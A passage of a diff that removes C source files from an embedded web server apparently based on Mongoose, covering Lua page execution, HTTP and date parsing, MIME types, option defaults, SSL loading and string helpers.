-  int top = lua_gettop(L);
-  lua_getglobal(L, "mg");
-  lua_pushnil(L);
-  lua_setfield(L, -2, "onerror");
-  lua_settop(L, top);
-  lua_pushstring(L, "aborting");
-  lua_error(L);
-}
-
-static int lsp(struct mg_connection *conn, const char *path,
-               const char *p, int64_t len, lua_State *L) {
-  int i, j, pos = 0, lines = 1, lualines = 0;
-  char chunkname[MG_BUF_LEN];
-
-  for (i = 0; i < len; i++) {
-    if (p[i] == '\n') lines++;
-    if (p[i] == '<' && p[i + 1] == '?') {
-      for (j = i + 1; j < len ; j++) {
-        if (p[j] == '\n') lualines++;
-        if (p[j] == '?' && p[j + 1] == '>') {
-          mg_write(conn, p + pos, i - pos);
-
-          snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
-          lua_pushlightuserdata(L, conn);
-          lua_pushcclosure(L, lsp_error, 1);
-          if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
-            // Syntax error or OOM. Error message is pushed on stack.
-            lua_pcall(L, 1, 0, 0);
-          } else {
-            // Success loading chunk. Call it.
-            lua_pcall(L, 0, 0, 1);
-          }
-
-          pos = j + 2;
-          i = pos - 1;
-          break;
-        }
-      }
-      if (lualines > 0) {
-        lines += lualines;
-        lualines = 0;
-      }
-    }
-  }
-
-  if (i > pos) {
-    mg_write(conn, p + pos, i - pos);
-  }
-
-  return 0;
-}
-
-static int lsp_write(lua_State *L) {
-  int i, num_args;
-  const char *str;
-  size_t size;
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-
-  num_args = lua_gettop(L);
-  for (i = 1; i <= num_args; i++) {
-    if (lua_isstring(L, i)) {
-      str = lua_tolstring(L, i, &size);
-      mg_write(conn, str, size);
-    }
-  }
-
-  return 0;
-}
-
-static int lsp_read(lua_State *L) {
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  char buf[1024];
-  int len = mg_read(conn, buf, sizeof(buf));
-
-  if (len <= 0) return 0;
-  lua_pushlstring(L, buf, len);
-
-  return 1;
-}
-
-// mg.include: Include another .lp file
-static int lsp_include(lua_State *L) {
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  struct file file = STRUCT_FILE_INITIALIZER;
-  if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
-    // handle_lsp_request returned an error code, meaning an error occured in
-    // the included page and mg.onerror returned non-zero. Stop processing.
-    lsp_abort(L);
-  }
-  return 0;
-}
-
-// mg.cry: Log an error. Default value for mg.onerror.
-static int lsp_cry(lua_State *L){
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  cry(conn, "%s", lua_tostring(L, -1));
-  return 0;
-}
-
-// mg.redirect: Redirect the request (internally).
-static int lsp_redirect(lua_State *L) {
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  conn->request_info.uri = lua_tostring(L, -1);
-  handle_request(conn);
-  lsp_abort(L);
-  return 0;
-}
-
-static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
-  const struct mg_request_info *ri = &conn->request_info;
-  extern void luaL_openlibs(lua_State *);
-  int i;
-
-  luaL_openlibs(L);
-#ifdef USE_LUA_SQLITE3
-  { extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
-#endif
-
-  luaL_newmetatable(L, LUASOCKET);
-  lua_pushliteral(L, "__index");
-  luaL_newlib(L, luasocket_methods);
-  lua_rawset(L, -3);
-  lua_pop(L, 1);
-  lua_register(L, "connect", lsp_connect);
-
-  if (conn == NULL) return;
-
-  // Register mg module
-  lua_newtable(L);
-
-  reg_function(L, "read", lsp_read, conn);
-  reg_function(L, "write", lsp_write, conn);
-  reg_function(L, "cry", lsp_cry, conn);
-  reg_function(L, "include", lsp_include, conn);
-  reg_function(L, "redirect", lsp_redirect, conn);
-  reg_string(L, "version", MONGOOSE_VERSION);
-
-  // Export request_info
-  lua_pushstring(L, "request_info");
-  lua_newtable(L);
-  reg_string(L, "request_method", ri->request_method);
-  reg_string(L, "uri", ri->uri);
-  reg_string(L, "http_version", ri->http_version);
-  reg_string(L, "query_string", ri->query_string);
-  reg_int(L, "remote_ip", ri->remote_ip);
-  reg_int(L, "remote_port", ri->remote_port);
-  reg_int(L, "num_headers", ri->num_headers);
-  lua_pushstring(L, "http_headers");
-  lua_newtable(L);
-  for (i = 0; i < ri->num_headers; i++) {
-    reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
-  }
-  lua_rawset(L, -3);
-  lua_rawset(L, -3);
-
-  lua_setglobal(L, "mg");
-
-  // Register default mg.onerror function
-  luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
-                "debug.traceback(e, 1)) end");
-}
-
-static int lua_error_handler(lua_State *L) {
-  const char *error_msg =  lua_isstring(L, -1) ?  lua_tostring(L, -1) : "?\n";
-
-  lua_getglobal(L, "mg");
-  if (!lua_isnil(L, -1)) {
-    lua_getfield(L, -1, "write");   // call mg.write()
-    lua_pushstring(L, error_msg);
-    lua_pushliteral(L, "\n");
-    lua_call(L, 2, 0);
-    luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
-  } else {
-    printf("Lua error: [%s]\n", error_msg);
-    luaL_dostring(L, "print(debug.traceback(), '\\n')");
-  }
-  // TODO(lsm): leave the stack balanced
-
-  return 0;
-}
-
-void mg_exec_lua_script(struct mg_connection *conn, const char *path,
-                        const void **exports) {
-  int i;
-  lua_State *L;
-
-  if (path != NULL && (L = luaL_newstate()) != NULL) {
-    prepare_lua_environment(conn, L);
-    lua_pushcclosure(L, &lua_error_handler, 0);
-
-    lua_pushglobaltable(L);
-    if (exports != NULL) {
-      for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
-        lua_pushstring(L, exports[i]);
-        lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
-        lua_rawset(L, -3);
-      }
-    }
-
-    if (luaL_loadfile(L, path) != 0) {
-      lua_error_handler(L);
-    }
-    lua_pcall(L, 0, 0, -2);
-    lua_close(L);
-  }
-}
-
-static void lsp_send_err(struct mg_connection *conn, struct lua_State *L,
-                         const char *fmt, ...) {
-  char buf[MG_BUF_LEN];
-  va_list ap;
-
-  va_start(ap, fmt);
-  vsnprintf(buf, sizeof(buf), fmt, ap);
-  va_end(ap);
-
-  if (L == NULL) {
-    send_http_error(conn, 500, http_500_error, "%s", buf);
-  } else {
-    lua_pushstring(L, buf);
-    lua_error(L);
-  }
-}
-
-static int handle_lsp_request(struct mg_connection *conn, const char *path,
-                               struct file *filep, struct lua_State *ls) {
-  void *p = NULL;
-  lua_State *L = NULL;
-  FILE *fp = NULL;
-  int error = 1;
-
-  // We need both mg_stat to get file size, and mg_fopen to get fd
-  if (!mg_stat(path, filep) || (fp = mg_fopen(path, "r")) == NULL) {
-    lsp_send_err(conn, ls, "File [%s] not found", path);
-  } else if ((p = mmap(NULL, (size_t) filep->size, PROT_READ, MAP_PRIVATE,
-                       fileno(fp), 0)) == MAP_FAILED) {
-    lsp_send_err(conn, ls, "mmap(%s, %zu, %d): %s", path, (size_t) filep->size,
-              fileno(fp), strerror(errno));
-  } else if ((L = ls != NULL ? ls : luaL_newstate()) == NULL) {
-    send_http_error(conn, 500, http_500_error, "%s", "luaL_newstate failed");
-  } else {
-    // We're not sending HTTP headers here, Lua page must do it.
-    if (ls == NULL) {
-      prepare_lua_environment(conn, L);
-    }
-    error = lsp(conn, path, p, filep->size, L);
-  }
-
-  if (L != NULL && ls == NULL) lua_close(L);
-  if (p != NULL) munmap(p, filep->size);
-  fclose(fp);
-
-  return error;
-}
-#endif // USE_LUA

build/src/mg_printf.c

@@ -1,67 +0,0 @@
-#include "internal.h"
-
-// Print message to buffer. If buffer is large enough to hold the message,
-// return buffer. If buffer is to small, allocate large enough buffer on heap,
-// and return allocated buffer.
-static int alloc_vprintf(char **buf, size_t size, const char *fmt, va_list ap) {
-  va_list ap_copy;
-  int len;
-
-  // Windows is not standard-compliant, and vsnprintf() returns -1 if
-  // buffer is too small. Also, older versions of msvcrt.dll do not have
-  // _vscprintf().  However, if size is 0, vsnprintf() behaves correctly.
-  // Therefore, we make two passes: on first pass, get required message length.
-  // On second pass, actually print the message.
-  va_copy(ap_copy, ap);
-  len = vsnprintf(NULL, 0, fmt, ap_copy);
-
-  if (len > (int) size &&
-      (size = len + 1) > 0 &&
-      (*buf = (char *) malloc(size)) == NULL) {
-    len = -1;  // Allocation failed, mark failure
-  } else {
-    va_copy(ap_copy, ap);
-    vsnprintf(*buf, size, fmt, ap_copy);
-  }
-
-  return len;
-}
-
-int mg_vprintf(struct mg_connection *conn, const char *fmt, va_list ap) {
-  char mem[MG_BUF_LEN], *buf = mem;
-  int len;
-
-  if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
-    len = mg_write(conn, buf, (size_t) len);
-  }
-  if (buf != mem && buf != NULL) {
-    free(buf);
-  }
-
-  return len;
-}
-
-int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
-  va_list ap;
-  va_start(ap, fmt);
-  return mg_vprintf(conn, fmt, ap);
-}
-
-static int mg_chunked_printf(struct mg_connection *conn, const char *fmt, ...) {
-  char mem[MG_BUF_LEN], *buf = mem;
-  int len;
-
-  va_list ap;
-  va_start(ap, fmt);
-  if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
-    len = mg_printf(conn, "%X\r\n%s\r\n", len, buf);
-  }
-
-  if (buf != mem && buf != NULL) {
-    free(buf);
-  }
-
-  return len;
-}
-
-

build/src/mime.c

@@ -1,99 +0,0 @@
-#include "internal.h"
-
-static const struct {
-  const char *extension;
-  size_t ext_len;
-  const char *mime_type;
-} builtin_mime_types[] = {
-  {".html", 5, "text/html"},
-  {".htm", 4, "text/html"},
-  {".shtm", 5, "text/html"},
-  {".shtml", 6, "text/html"},
-  {".css", 4, "text/css"},
-  {".js",  3, "application/x-javascript"},
-  {".ico", 4, "image/x-icon"},
-  {".gif", 4, "image/gif"},
-  {".jpg", 4, "image/jpeg"},
-  {".jpeg", 5, "image/jpeg"},
-  {".png", 4, "image/png"},
-  {".svg", 4, "image/svg+xml"},
-  {".txt", 4, "text/plain"},
-  {".torrent", 8, "application/x-bittorrent"},
-  {".wav", 4, "audio/x-wav"},
-  {".mp3", 4, "audio/x-mp3"},
-  {".mid", 4, "audio/mid"},
-  {".m3u", 4, "audio/x-mpegurl"},
-  {".ogg", 4, "application/ogg"},
-  {".ram", 4, "audio/x-pn-realaudio"},
-  {".xml", 4, "text/xml"},
-  {".json",  5, "text/json"},
-  {".xslt", 5, "application/xml"},
-  {".xsl", 4, "application/xml"},
-  {".ra",  3, "audio/x-pn-realaudio"},
-  {".doc", 4, "application/msword"},
-  {".exe", 4, "application/octet-stream"},
-  {".zip", 4, "application/x-zip-compressed"},
-  {".xls", 4, "application/excel"},
-  {".tgz", 4, "application/x-tar-gz"},
-  {".tar", 4, "application/x-tar"},
-  {".gz",  3, "application/x-gunzip"},
-  {".arj", 4, "application/x-arj-compressed"},
-  {".rar", 4, "application/x-arj-compressed"},
-  {".rtf", 4, "application/rtf"},
-  {".pdf", 4, "application/pdf"},
-  {".swf", 4, "application/x-shockwave-flash"},
-  {".mpg", 4, "video/mpeg"},
-  {".webm", 5, "video/webm"},
-  {".mpeg", 5, "video/mpeg"},
-  {".mov", 4, "video/quicktime"},
-  {".mp4", 4, "video/mp4"},
-  {".m4v", 4, "video/x-m4v"},
-  {".asf", 4, "video/x-ms-asf"},
-  {".avi", 4, "video/x-msvideo"},
-  {".bmp", 4, "image/bmp"},
-  {".ttf", 4, "application/x-font-ttf"},
-  {NULL,  0, NULL}
-};
-
-const char *mg_get_builtin_mime_type(const char *path) {
-  const char *ext;
-  size_t i, path_len;
-
-  path_len = strlen(path);
-
-  for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
-    ext = path + (path_len - builtin_mime_types[i].ext_len);
-    if (path_len > builtin_mime_types[i].ext_len &&
-        mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
-      return builtin_mime_types[i].mime_type;
-    }
-  }
-
-  return "text/plain";
-}
-
-// Look at the "path" extension and figure what mime type it has.
-// Store mime type in the vector.
-static void get_mime_type(struct mg_context *ctx, const char *path,
-                          struct vec *vec) {
-  struct vec ext_vec, mime_vec;
-  const char *list, *ext;
-  size_t path_len;
-
-  path_len = strlen(path);
-
-  // Scan user-defined mime types first, in case user wants to
-  // override default mime types.
-  list = ctx->config[EXTRA_MIME_TYPES];
-  while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
-    // ext now points to the path suffix
-    ext = path + path_len - ext_vec.len;
-    if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
-      *vec = mime_vec;
-      return;
-    }
-  }
-
-  vec->ptr = mg_get_builtin_mime_type(path);
-  vec->len = strlen(vec->ptr);
-}

build/src/options.c

@@ -1,56 +0,0 @@
-#include "internal.h"
-
-// This array must be in sync with enum in internal.h
-static const char *config_options[] = {
-  "cgi_pattern", "**.cgi$|**.pl$|**.php$",
-  "cgi_environment", NULL,
-  "put_delete_auth_file", NULL,
-  "cgi_interpreter", NULL,
-  "protect_uri", NULL,
-  "authentication_domain", "mydomain.com",
-  "ssi_pattern", "**.shtml$|**.shtm$",
-  "access_log_file", NULL,
-  "enable_directory_listing", "yes",
-  "error_log_file", NULL,
-  "global_auth_file", NULL,
-  "index_files",
-    "index.html,index.htm,index.cgi,index.shtml,index.php,index.lp",
-  "enable_keep_alive", "no",
-  "access_control_list", NULL,
-  "extra_mime_types", NULL,
-  "listening_ports", "8080",
-  "document_root",  NULL,
-  "ssl_certificate", NULL,
-  "num_threads", "50",
-  "run_as_user", NULL,
-  "url_rewrite_patterns", NULL,
-  "hide_files_patterns", NULL,
-  "request_timeout_ms", "30000",
-  NULL
-};
-
-const char **mg_get_valid_option_names(void) {
-  return config_options;
-}
-
-static int get_option_index(const char *name) {
-  int i;
-
-  for (i = 0; config_options[i * 2] != NULL; i++) {
-    if (strcmp(config_options[i * 2], name) == 0) {
-      return i;
-    }
-  }
-  return -1;
-}
-
-const char *mg_get_option(const struct mg_context *ctx, const char *name) {
-  int i;
-  if ((i = get_option_index(name)) == -1) {
-    return NULL;
-  } else if (ctx->config[i] == NULL) {
-    return "";
-  } else {
-    return ctx->config[i];
-  }
-}

build/src/parse_date.c

@@ -1,49 +0,0 @@
-#include "internal.h"
-
-static const char *month_names[] = {
-  "Jan", "Feb", "Mar", "Apr", "May", "Jun",
-  "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
-};
-
-// Convert month to the month number. Return -1 on error, or month number
-static int get_month_index(const char *s) {
-  int i;
-
-  for (i = 0; i < (int) ARRAY_SIZE(month_names); i++)
-    if (!strcmp(s, month_names[i]))
-      return i;
-
-  return -1;
-}
-
-static int num_leap_years(int year) {
-  return year / 4 - year / 100 + year / 400;
-}
-
-// Parse UTC date-time string, and return the corresponding time_t value.
-static time_t parse_date_string(const char *datetime) {
-  static const unsigned short days_before_month[] = {
-    0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
-  };
-  char month_str[32];
-  int second, minute, hour, day, month, year, leap_days, days;
-  time_t result = (time_t) 0;
-
-  if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
-               &day, month_str, &year, &hour, &minute, &second) == 6) ||
-       (sscanf(datetime, "%d %3s %d %d:%d:%d",
-               &day, month_str, &year, &hour, &minute, &second) == 6) ||
-       (sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
-               &day, month_str, &year, &hour, &minute, &second) == 6) ||
-       (sscanf(datetime, "%d-%3s-%d %d:%d:%d",
-               &day, month_str, &year, &hour, &minute, &second) == 6)) &&
-      year > 1970 &&
-      (month = get_month_index(month_str)) != -1) {
-    leap_days = num_leap_years(year) - num_leap_years(1970);
-    year -= 1970;
-    days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
-    result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
-  }
-
-  return result;
-}

build/src/parse_http.c

@@ -1,63 +0,0 @@
-#include "internal.h"
-
-// Parse HTTP headers from the given buffer, advance buffer to the point
-// where parsing stopped.
-static void parse_http_headers(char **buf, struct mg_request_info *ri) {
-  int i;
-
-  for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
-    ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
-    ri->http_headers[i].value = skip(buf, "\r\n");
-    if (ri->http_headers[i].name[0] == '\0')
-      break;
-    ri->num_headers = i + 1;
-  }
-}
-
-static int is_valid_http_method(const char *method) {
-  return !strcmp(method, "GET") || !strcmp(method, "POST") ||
-    !strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
-    !strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
-    !strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND")
-    || !strcmp(method, "MKCOL");
-}
-
-// Parse HTTP request, fill in mg_request_info structure.
-// This function modifies the buffer by NUL-terminating
-// HTTP request components, header names and header values.
-static int parse_http_message(char *buf, int len, struct mg_request_info *ri) {
-  int is_request, request_length = get_request_len(buf, len);
-  if (request_length > 0) {
-    // Reset attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
-    ri->remote_user = ri->request_method = ri->uri = ri->http_version = NULL;
-    ri->num_headers = 0;
-
-    buf[request_length - 1] = '\0';
-
-    // RFC says that all initial whitespaces should be ingored
-    while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
-      buf++;
-    }
-    ri->request_method = skip(&buf, " ");
-    ri->uri = skip(&buf, " ");
-    ri->http_version = skip(&buf, "\r\n");
-
-    // HTTP message could be either HTTP request or HTTP response, e.g.
-    // "GET / HTTP/1.0 ...." or  "HTTP/1.0 200 OK ..."
-    is_request = is_valid_http_method(ri->request_method);
-    if ((is_request && memcmp(ri->http_version, "HTTP/", 5) != 0) ||
-        (!is_request && memcmp(ri->request_method, "HTTP/", 5) != 0)) {
-      request_length = -1;
-    } else {
-      if (is_request) {
-        ri->http_version += 5;
-      }
-      parse_http_headers(&buf, ri);
-    }
-  }
-  return request_length;
-}
-
-static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
-  return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
-}

build/src/ssl.c

@@ -1,178 +0,0 @@
-#include "internal.h"
-
-#if !defined(NO_SSL)
-// set_ssl_option() function updates this array.
-// It loads SSL library dynamically and changes NULLs to the actual addresses
-// of respective functions. The macros above (like SSL_connect()) are really
-// just calling these functions indirectly via the pointer.
-static struct ssl_func ssl_sw[] = {
-  {"SSL_free",   NULL},
-  {"SSL_accept",   NULL},
-  {"SSL_connect",   NULL},
-  {"SSL_read",   NULL},
-  {"SSL_write",   NULL},
-  {"SSL_get_error",  NULL},
-  {"SSL_set_fd",   NULL},
-  {"SSL_new",   NULL},
-  {"SSL_CTX_new",   NULL},
-  {"SSLv23_server_method", NULL},
-  {"SSL_library_init",  NULL},
-  {"SSL_CTX_use_PrivateKey_file", NULL},
-  {"SSL_CTX_use_certificate_file",NULL},
-  {"SSL_CTX_set_default_passwd_cb",NULL},
-  {"SSL_CTX_free",  NULL},
-  {"SSL_load_error_strings", NULL},
-  {"SSL_CTX_use_certificate_chain_file", NULL},
-  {"SSLv23_client_method", NULL},
-  {"SSL_pending", NULL},
-  {"SSL_CTX_set_verify", NULL},
-  {"SSL_shutdown",   NULL},
-  {NULL,    NULL}
-};
-
-// Similar array as ssl_sw. These functions could be located in different lib.
-static struct ssl_func crypto_sw[] = {
-  {"CRYPTO_num_locks",  NULL},
-  {"CRYPTO_set_locking_callback", NULL},
-  {"CRYPTO_set_id_callback", NULL},
-  {"ERR_get_error",  NULL},
-  {"ERR_error_string", NULL},
-  {NULL,    NULL}
-};
-
-static pthread_mutex_t *ssl_mutexes;
-
-static int sslize(struct mg_connection *conn, SSL_CTX *s, int (*func)(SSL *)) {
-  return (conn->ssl = SSL_new(s)) != NULL &&
-    SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
-    func(conn->ssl) == 1;
-}
-
-// Return OpenSSL error message
-static const char *ssl_error(void) {
-  unsigned long err;
-  err = ERR_get_error();
-  return err == 0 ? "" : ERR_error_string(err, NULL);
-}
-
-static void ssl_locking_callback(int mode, int mutex_num, const char *file,
-                                 int line) {
-  (void) line;
-  (void) file;
-
-  if (mode & 1) {  // 1 is CRYPTO_LOCK
-    (void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
-  } else {
-    (void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
-  }
-}
-
-static unsigned long ssl_id_callback(void) {
-  return (unsigned long) pthread_self();
-}
-
-#if !defined(NO_SSL_DL)
-static int load_dll(struct mg_context *ctx, const char *dll_name,
-                    struct ssl_func *sw) {
-  union {void *p; void (*fp)(void);} u;
-  void  *dll_handle;
-  struct ssl_func *fp;
-
-  if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
-    cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
-    return 0;
-  }
-
-  for (fp = sw; fp->name != NULL; fp++) {
-#ifdef _WIN32
-    // GetProcAddress() returns pointer to function
-    u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
-#else
-    // dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
-    // function pointers. We need to use a union to make a cast.
-    u.p = dlsym(dll_handle, fp->name);
-#endif // _WIN32
-    if (u.fp == NULL) {
-      cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
-      return 0;
-    } else {
-      fp->ptr = u.fp;
-    }
-  }
-
-  return 1;
-}
-#endif // NO_SSL_DL
-
-// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
-static int set_ssl_option(struct mg_context *ctx) {
-  int i, size;
-  const char *pem;
-
-  // If PEM file is not specified and the init_ssl callback
-  // is not specified, skip SSL initialization.
-  if ((pem = ctx->config[SSL_CERTIFICATE]) == NULL) {
-    //  MG_INIT_SSL
-    //  ctx->callbacks.init_ssl == NULL) {
-    return 1;
-  }
-
-#if !defined(NO_SSL_DL)
-  if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
-      !load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
-    return 0;
-  }
-#endif // NO_SSL_DL
-
-  // Initialize SSL library
-  SSL_library_init();
-  SSL_load_error_strings();
-
-  if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) {
-    cry(fc(ctx), "SSL_CTX_new (server) error: %s", ssl_error());
-    return 0;
-  }
-
-  // If user callback returned non-NULL, that means that user callback has
-  // set up certificate itself. In this case, skip sertificate setting.
-  // MG_INIT_SSL
-  if (SSL_CTX_use_certificate_file(ctx->ssl_ctx, pem, 1) == 0 ||
-      SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, pem, 1) == 0) {
-    cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
-    return 0;
-  }
-
-  if (pem != NULL) {
-    (void) SSL_CTX_use_certificate_chain_file(ctx->ssl_ctx, pem);
-  }
-
-  // Initialize locking callbacks, needed for thread safety.
-  // http://www.openssl.org/support/faq.html#PROG1
-  size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
-  if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
-    cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
-    return 0;
-  }
-
-  for (i = 0; i < CRYPTO_num_locks(); i++) {
-    pthread_mutex_init(&ssl_mutexes[i], NULL);
-  }
-
-  CRYPTO_set_locking_callback(&ssl_locking_callback);
-  CRYPTO_set_id_callback(&ssl_id_callback);
-
-  return 1;
-}
-
-static void uninitialize_ssl(struct mg_context *ctx) {
-  int i;
-  if (ctx->ssl_ctx != NULL) {
-    CRYPTO_set_locking_callback(NULL);
-    for (i = 0; i < CRYPTO_num_locks(); i++) {
-      pthread_mutex_destroy(&ssl_mutexes[i]);
-    }
-    CRYPTO_set_locking_callback(NULL);
-    CRYPTO_set_id_callback(NULL);
-  }
-}
-#endif // !NO_SSL

build/src/string.c

@@ -1,423 +0,0 @@
-#include "internal.h"
-
-static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
-  for (; *src != '\0' && n > 1; n--) {
-    *dst++ = *src++;
-  }
-  *dst = '\0';
-}
-
-static int lowercase(const char *s) {
-  return tolower(* (const unsigned char *) s);
-}
-
-static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
-  int diff = 0;
-
-  if (len > 0)
-    do {
-      diff = lowercase(s1++) - lowercase(s2++);
-    } while (diff == 0 && s1[-1] != '\0' && --len > 0);
-
-  return diff;
-}
-
-static int mg_strcasecmp(const char *s1, const char *s2) {
-  int diff;
-
-  do {
-    diff = lowercase(s1++) - lowercase(s2++);
-  } while (diff == 0 && s1[-1] != '\0');
-
-  return diff;
-}
-
-static char * mg_strndup(const char *ptr, size_t len) {
-  char *p;
-
-  if ((p = (char *) malloc(len + 1)) != NULL) {
-    mg_strlcpy(p, ptr, len + 1);
-  }
-
-  return p;
-}
-
-static char * mg_strdup(const char *str) {
-  return mg_strndup(str, strlen(str));
-}
-
-static const char *mg_strcasestr(const char *big_str, const char *small_str) {
-  int i, big_len = strlen(big_str), small_len = strlen(small_str);
-
-  for (i = 0; i <= big_len - small_len; i++) {
-    if (mg_strncasecmp(big_str + i, small_str, small_len) == 0) {
-      return big_str + i;
-    }
-  }
-
-  return NULL;
-}
-
-// Like snprintf(), but never returns negative value, or a value
-// that is larger than a supplied buffer.
-// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
-// in his audit report.
-static int mg_vsnprintf(char *buf, size_t buflen, const char *fmt, va_list ap) {
-  int n;
-
-  if (buflen == 0) {
-    return 0;
-  }
-
-  n = vsnprintf(buf, buflen, fmt, ap);
-
-  if (n < 0) {
-    n = 0;
-  } else if (n >= (int) buflen) {
-    n = (int) buflen - 1;
-  }
-  buf[n] = '\0';
-
-  return n;
-}
-
-static int mg_snprintf(char *buf, size_t buflen,
-    PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(3, 4);
-
-static int mg_snprintf(char *buf, size_t buflen, const char *fmt, ...) {
-  va_list ap;
-  int n;
-
-  va_start(ap, fmt);
-  n = mg_vsnprintf(buf, buflen, fmt, ap);
-  va_end(ap);
-
-  return n;
-}
-
-// Skip the characters until one of the delimiters characters found.
-// 0-terminate resulting word. Skip the delimiter and following whitespaces.
-// Advance pointer to buffer to the next word. Return found 0-terminated word.
-// Delimiters can be quoted with quotechar.
-static char *skip_quoted(char **buf, const char *delimiters,
-                         const char *whitespace, char quotechar) {
-  char *p, *begin_word, *end_word, *end_whitespace;
-
-  begin_word = *buf;
-  end_word = begin_word + strcspn(begin_word, delimiters);
-
-  // Check for quotechar
-  if (end_word > begin_word) {
-    p = end_word - 1;
-    while (*p == quotechar) {
-      // If there is anything beyond end_word, copy it
-      if (*end_word == '\0') {
-        *p = '\0';
-        break;
-      } else {
-        size_t end_off = strcspn(end_word + 1, delimiters);
-        memmove (p, end_word, end_off + 1);
-        p += end_off; // p must correspond to end_word - 1
-        end_word += end_off + 1;
-      }
-    }
-    for (p++; p < end_word; p++) {
-      *p = '\0';
-    }
-  }
-
-  if (*end_word == '\0') {
-    *buf = end_word;
-  } else {
-    end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
-
-    for (p = end_word; p < end_whitespace; p++) {
-      *p = '\0';
-    }
-
-    *buf = end_whitespace;
-  }
-
-  return begin_word;
-}
-
-// Simplified version of skip_quoted without quote char
-// and whitespace == delimiters
-static char *skip(char **buf, const char *delimiters) {
-  return skip_quoted(buf, delimiters, delimiters, 0);
-}
-
-
-// Return HTTP header value, or NULL if not found.
-static const char *get_header(const struct mg_request_info *ri,
-                              const char *name) {
-  int i;
-
-  for (i = 0; i < ri->num_headers; i++)
-    if (!mg_strcasecmp(name, ri->http_headers[i].name))
-      return ri->http_headers[i].value;
-
-  return NULL;
-}
-
-const char *mg_get_header(const struct mg_connection *conn, const char *name) {
-  return get_header(&conn->request_info, name);
-}
-
-// A helper function for traversing a comma separated list of values.
-// It returns a list pointer shifted to the next value, or NULL if the end
-// of the list found.
-// Value is stored in val vector. If value has form "x=y", then eq_val
-// vector is initialized to point to the "y" part, and val vector length
-// is adjusted to point only to "x".
-static const char *next_option(const char *list, struct vec *val,
-                               struct vec *eq_val) {
-  if (list == NULL || *list == '\0') {
-    // End of the list
-    list = NULL;
-  } else {
-    val->ptr = list;
-    if ((list = strchr(val->ptr, ',')) != NULL) {
-      // Comma found. Store length and shift the list ptr
-      val->len = list - val->ptr;
-      list++;
-    } else {
-      // This value is the last one
-      list = val->ptr + strlen(val->ptr);
-      val->len = list - val->ptr;
-    }
-
-    if (eq_val != NULL) {
-      // Value has form "x=y", adjust pointers and lengths
-      // so that val points to "x", and eq_val points to "y".
-      eq_val->len = 0;
-      eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
-      if (eq_val->ptr != NULL) {
-        eq_val->ptr++;  // Skip over '=' character
-        eq_val->len = val->ptr + val->len - eq_val->ptr;
-        val->len = (eq_val->ptr - val->ptr) - 1;
-      }
-    }
-  }
-
-  return list;
-}
-
-// Perform case-insensitive match of string against pattern
-static int match_prefix(const char *pattern, int pattern_len, const char *str) {
-  const char *or_str;
-  int i, j, len, res;
-
-  if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
-    res = match_prefix(pattern, or_str - pattern, str);
-    return res > 0 ? res :
-        match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
-  }
-
-  i = j = 0;
-  res = -1;
-  for (; i < pattern_len; i++, j++) {
